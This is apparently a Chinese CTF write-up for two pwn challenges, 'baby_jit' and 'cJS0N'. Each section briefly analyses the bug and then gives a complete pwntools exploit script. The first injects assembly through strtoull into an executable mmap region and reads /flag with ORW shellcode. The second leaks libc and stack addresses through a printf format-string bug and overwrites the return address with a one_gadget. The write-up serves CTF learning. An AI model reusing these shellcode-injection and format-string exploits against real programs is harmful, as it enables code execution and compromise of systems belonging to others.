baby_jit
程序禁用了execve,所以需要ORW读
代码分析
程序两个功能,一个add功能,一个exec功能。
add
add功能实际上就是创建一个堆区保存输入的内容,然后复制到dest中。没有发生溢出
exec
exec函数实际上就是mmap出了一个可读可写可执行的区域,然后经过赋值的操作最后跳转跳转过去执行。
注意观察 v7 = ((v2 + 0x100000))();
这一步实际上就是call rdx到mmap申请的区域执行,v2的值是根据上面的 v2 = (atof(s) * 12.0)得来的。通过控制输入的offset值就能控制call rdx的位置。
所以接下来的目的是将shellcode读入到mmap内存中去。
v5 = strtoull(s1 + 4, &endptr, 10);
这一步是处理我们add功能输入的内容。如果我们控制输入的内容为”add 144”,那么这个函数就会将字符串形式的144转化为144整数保存到v6区域(mmap申请的可读可写可执行内存)中,也就是会保存为’\x90’,也就是nop。所以同理,如果我们在add 后面拼接上特殊的数据,那么经过stroull函数处理就会保存到v6中形成对应的汇编指令。
strtoull函数相当于u64(),将字符串转化为整数
*(v6 + 2) = v5;
再根据这一部分,所以v5会保存到v6+2处的开始,那么我们可以控制offset为3,那么3x1.2就是3.6经过atof函数转换就是3,那么call rdx就是跳转到0x100003处,那么只需要控制add 后跟上处理好的数据即可,可以执行我们输入的汇编语句。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
def add(content): rl(">> ") sl('1') sl(content) def exec(offset): rl(">> ") sl('2') rl("offset?\n") sl(str(offset))
sh=''' nop push rax pop rdi push rdx pop rsi pop rdx syscall ''' calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))
add(f'add {calc_sh}')
exec(0.3)
payload = asm(shellcraft.cat('/flag')) payload = b'\x00'*7 + payload sl(payload)
inter()
|
cJS0N
代码分析
输入size和Json进入到菜单界面
漏洞点
测试一下1,2,3的功能没找到漏洞点,在delete data功能中发现printf格式化字符串漏洞,而且是通过输入的Data name控制参数的,并且是栈上的,可以多次利用。
思路
所以利用格式delete data功能泄露libc以及stack地址,之后就是利用格式化字符串漏洞修改返回地址为onegadget
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys import json context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def show(buf): rl(">\n") sl('4') rl("Data name:\n") sl(buf)
rl("Init Data size: \n") sl(str(0x80)) rl("Your Json:\n") sl('21')
show('%27$p') rl("0x") libc_leak = int(p.recv(12),16) libc_base = libc_leak-0x24083 lg("libc_base",libc_base)
one_gadget = [0xe3afe,0xe3b01,0xe3b04] one_gadget = one_gadget[1] + libc_base lg("one_gadget",one_gadget)
show('%6$p') rl("0x") stack_leak = int(p.recv(12),16) lg("stack_leak",stack_leak)
ret_addr = stack_leak+0x38
onegadget1 = one_gadget&0xff payload = f'%{onegadget1}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr) show(payload)
payload = f'%{(one_gadget>>8)&0xff}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+1) show(payload)
payload = f'%{(one_gadget>>16)&0xff}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+2) show(payload)
rl(">\n") sl('2') rl("Data name:\n") sl('aaa')
inter()
|